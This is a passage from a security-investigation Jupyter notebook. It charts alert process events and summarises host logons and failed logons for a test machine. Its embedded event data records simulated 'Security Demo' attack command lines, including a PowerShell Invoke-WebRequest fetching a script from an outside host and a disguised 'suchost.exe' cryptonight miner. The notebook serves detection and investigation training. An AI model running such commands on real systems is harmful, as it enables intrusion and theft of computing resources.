4\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\suchost.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"AKA3MY6OdkIAAEsxjo52QgCwTDGOjnZCAIBNMY6OdkIAsFcxjo52QgDAWDGOjnZCANBZMY6OdkIAADcxjo52QgAQVjGOjnZC\",\"dtype\":\"float64\",\"shape\":[9]},\"WrapCmdl\":[\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com;\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\\n\",\".\\\\powershell -enc\\n\",\"cmd  /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32\\n\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\"],\"index\":[0,1,2,3,4,5,6,7,8],\"y_index\":[1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"2243\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2242\",\"type\":\"UnionRenderers\"}},\"id\":\"2178\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"data_source\":{\"id\":\"2220\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"2221\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2222\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"2224\",\"type\":\"CDSView\"}},\"id\":\"2223\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2231\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"2228\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"2181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2197\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"2196\",\"type\":\"LinearAxis\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2232\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2213\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"2181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2192\",\"type\":\"DatetimeTicker\"}},\"id\":\"2191\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"plot\":{\"id\":\"2181\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2192\",\"type\":\"DatetimeTicker\"}},\"id\":\"2195\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2233\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@WrapCmdl\"]]},\"id\":\"2179\",\"type\":\"HoverTool\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2230\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2231\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2232\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2233\",\"type\":\"DaysTicker\"},{\"id\":\"2234\",\"type\":\"DaysTicker\"},{\"id\":\"2235\",\"type\":\"DaysTicker\"},{\"id\":\"2236\",\"type\":\"DaysTicker\"},{\"id\":\"2237\",\"type\":\"MonthsTicker\"},{\"id\":\"2238\",\"type\":\"MonthsTicker\"},{\"id\":\"2239\",\"type\":\"MonthsTicker\"},{\"id\":\"2240\",\"type\":\"MonthsTicker\"},{\"id\":\"2241\",\"type\":\"YearsTicker\"}]},\"id\":\"2192\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2234\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alert Process Session\"},\"id\":\"2180\",\"type\":\"Title\"},{\"attributes\":{\"overlay\":{\"id\":\"2208\",\"type\":\"BoxAnnotation\"}},\"id\":\"2203\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2235\",\"type\":\"DaysTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2202\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"callback\":null},\"id\":\"2185\",\"type\":\"DataRange1d\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2236\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2201\",\"type\":\"PanTool\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2237\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2179\",\"type\":\"HoverTool\"},{\"id\":\"2201\",\"type\":\"PanTool\"},{\"id\":\"2202\",\"type\":\"WheelZoomTool\"},{\"id\":\"2203\",\"type\":\"BoxZoomTool\"},{\"id\":\"2204\",\"type\":\"ResetTool\"}]},\"id\":\"2205\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"2187\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2213\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"2189\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2238\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2239\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2204\",\"type\":\"ResetTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2240\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2216\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2241\",\"type\":\"YearsTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2208\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2242\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"source\":{\"id\":\"2178\",\"type\":\"ColumnDataSource\"}},\"id\":\"2219\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null},\"id\":\"2183\",\"type\":\"DataRange1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2217\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2243\",\"type\":\"Selection\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2230\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2222\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"2244\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"2178\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"2216\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2217\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"2219\",\"type\":\"CDSView\"}},\"id\":\"2218\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2245\",\"type\":\"Selection\"}],\"root_ids\":[\"2181\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"758c7d65-b0a6-4a4e-b631-d9b7d8591255\",\"roots\":{\"2181\":\"f564b95d-cadc-479c-80d7-4e830a94f17a\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2181"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Show timeline of events - all events\n",
    "if host_logons is not None and not host_logons.empty:\n",
    "    nbdisp.display_timeline(data=clus_logons, source_columns=['Account', 'LogonType'],\n",
    "                             alert=security_alert,\n",
    "                             title='Clustered Host Logons', height=200)\n",
    "    try:\n",
    "        nbdisp.display_timeline(data=process_tree, alert=security_alert, title='Alert Process Session', height=200)\n",
    "    except NameError:\n",
    "        print('process_tree not available for this alert.')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 94,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th>LogonCount</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Account</th>\n",
       "      <th>LogonType</th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>MSTICAlertsWin1\\MSTICAdmin</th>\n",
       "      <th>4</th>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>MSTICAlertsWin1\\ian</th>\n",
       "      <th>3</th>\n",
       "      <td>3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>NT AUTHORITY\\SYSTEM</th>\n",
       "      <th>5</th>\n",
       "      <td>16</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Window Manager\\DWM-2</th>\n",
       "      <th>2</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                      LogonCount\n",
       "Account                    LogonType            \n",
       "MSTICAlertsWin1\\MSTICAdmin 4                   1\n",
       "MSTICAlertsWin1\\ian        3                   3\n",
       "NT AUTHORITY\\SYSTEM        5                  16\n",
       "Window Manager\\DWM-2       2                   2"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Counts of Logon types by Account\n",
    "if host_logons is not None and not host_logons.empty:\n",
    "    display(host_logons[['Account', 'LogonType', 'TimeGenerated']]\n",
    "            .groupby(['Account','LogonType']).count()\n",
    "            .rename(columns={'TimeGenerated': 'LogonCount'}))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "hidden": true
   },
   "source": [
    "<a id='failed logons'></a>[Contents](#toc)\n",
    "## Failed Logons"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 95,
   "metadata": {
    "hidden": true,
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Account</th>\n",
       "      <th>EventID</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>Computer</th>\n",
       "      <th>SubjectUserName</th>\n",
       "      <th>SubjectDomainName</th>\n",
       "      <th>SubjectUserSid</th>\n",
       "      <th>TargetUserName</th>\n",
       "      <th>TargetDomainName</th>\n",
       "      <th>TargetUserSid</th>\n",
       "      <th>TargetLogonId</th>\n",
       "      <th>LogonProcessName</th>\n",
       "      <th>LogonType</th>\n",
       "      <th>AuthenticationPackageName</th>\n",
       "      <th>Status</th>\n",
       "      <th>IpAddress</th>\n",
       "      <th>WorkstationName</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\ian</td>\n",
       "      <td>4625</td>\n",
       "      <td>2019-02-13 16:28:05.417</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>ian</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-0-0</td>\n",
       "      <td></td>\n",
       "      <td>Advapi</td>\n",
       "      <td>4</td>\n",
       "      <td>Negotiate</td>\n",
       "      <td>0xc000015b</td>\n",
       "      <td>-</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId              Account  EventID  \\\n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\ian     4625   \n",
       "\n",
       "            TimeGenerated                      SourceComputerId  \\\n",
       "0 2019-02-13 16:28:05.417  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "\n",
       "          Computer   SubjectUserName SubjectDomainName SubjectUserSid  \\\n",
       "0  MSTICAlertsWin1  MSTICAlertsWin1$         WORKGROUP       S-1-5-18   \n",
       "\n",
       "  TargetUserName TargetDomainName TargetUserSid TargetLogonId  \\\n",
       "0            ian  MSTICAlertsWin1       S-1-0-0                 \n",
       "\n",
       "  LogonProcessName  LogonType AuthenticationPackageName      Status IpAddress  \\\n",
       "0         Advapi            4                 Negotiate  0xc000015b         -   \n",
       "\n",
       "   WorkstationName  \n",
       "0  MSTICAlertsWin1  "
      ]
     },
     "execution_count": 95,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "failedLogons = qry.list_host_logon_failures(provs=[query_times, security_alert])\n",
    "if failedLogons.shape[0] == 0:\n",
    "    display(print('No logon failures recorded for this host between {security_alert.start} and {security_alert.start}'))\n",
    "\n",
    "failedLogons"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "hidden": true
   },
   "source": [
    "<a id='appendices'></a>[Contents](#toc)\n",
    "# Appendices"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Available DataFrames"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 96,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "List of current DataFrames in Notebook\n",
      "--------------------------------------------------\n",
      "mydf\n",
      "alert_counts\n",
      "alert_list\n",
      "related_alerts\n",
      "process_tree\n",
      "processes_on_host\n",
      "feature_procs\n",
      "clus_events\n",
      "source_processes\n",
      "ioc_df\n",
      "dec_df\n",
      "ioc_dec_df\n",
      "vt_results\n",
      "pos_vt_results\n",
      "proc_match_in_ws\n",
      "logon_event\n",
      "host_logons\n",
      "logon_features\n",
      "clus_logons\n",
      "failedLogons\n"
     ]
    }
   ],
   "source": [
    "print('List of current DataFrames in Notebook')\n",
    "print('-' * 50)\n",
    "current_vars = list(locals().keys())\n",
    "for var_name in current_vars:\n",
    "    if isinstance(locals()[var_name], pd.DataFrame) and not var_name.startswith('_'):\n",
    "        print(var_name)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Saving Data to CSV\n",
    "To save the contents of a pandas DataFrame to an CSV\n",
    "use the following syntax\n",
    "```\n",
    "host_logons.to_csv('host_logons.csv')\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "heading_collapsed": true,
    "tags": [
     "todo"
    ]
   },
   "source": [
    "## Saving Data to Excel\n",
    "To save the contents of a pandas DataFrame to an Excel spreadsheet\n",
    "use the following syntax\n",
    "```\n",
    "writer = pd.ExcelWriter('myWorksheet.xlsx')\n",
    "my_data_frame.to_excel(writer,'Sheet1')\n",
    "writer.save()\n",
    "```"
   ]
  }
 ],
 "metadata": {
  "hide_input": false,
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.6.7"
  },
  "toc": {
   "base_numbering": 1,
   "nav_menu": {
    "height": "318.996px",
    "width": "320.994px"
   },
   "number_sections": false,
   "sideBar": true,
   "skip_h1_title": false,
   "title_cell": "Table of Contents",
   "title_sidebar": "Contents",
   "toc_cell": false,
   "toc_position": {
    "height": "calc(100% - 180px)",
    "left": "10px",
    "top": "150px",
    "width": "165px"
   },
   "toc_section_display": true,
   "toc_window_display": true
  },
  "varInspector": {
   "cols": {
    "lenName": 16,
    "lenType": 16,
    "lenVar": 40
   },
   "kernels_config": {
    "python": {
     "delete_cmd_postfix": "",
     "delete_cmd_prefix": "del ",
     "library": "var_list.py",
     "varRefreshCmd": "print(var_dic_list())"
    },
    "r": {
     "delete_cmd_postfix": ") ",
     "delete_cmd_prefix": "rm(",
     "library": "var_list.r",
     "varRefreshCmd": "cat(var_dic_list()) "
    }
   },
   "position": {
    "height": "406.193px",
    "left": "1468.4px",
    "right": "20px",
    "top": "120px",
    "width": "456.572px"
   },
   "types_to_exclude": [
    "module",
    "function",
    "builtin_function_or_method",
    "instance",
    "_Feature"
   ],
   "window_display": false
  },
  "widgets": {
   "application/vnd.jupyter.widget-state+json": {
    "state": {},
    "version_major": 2,
    "version_minor": 0
   }
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}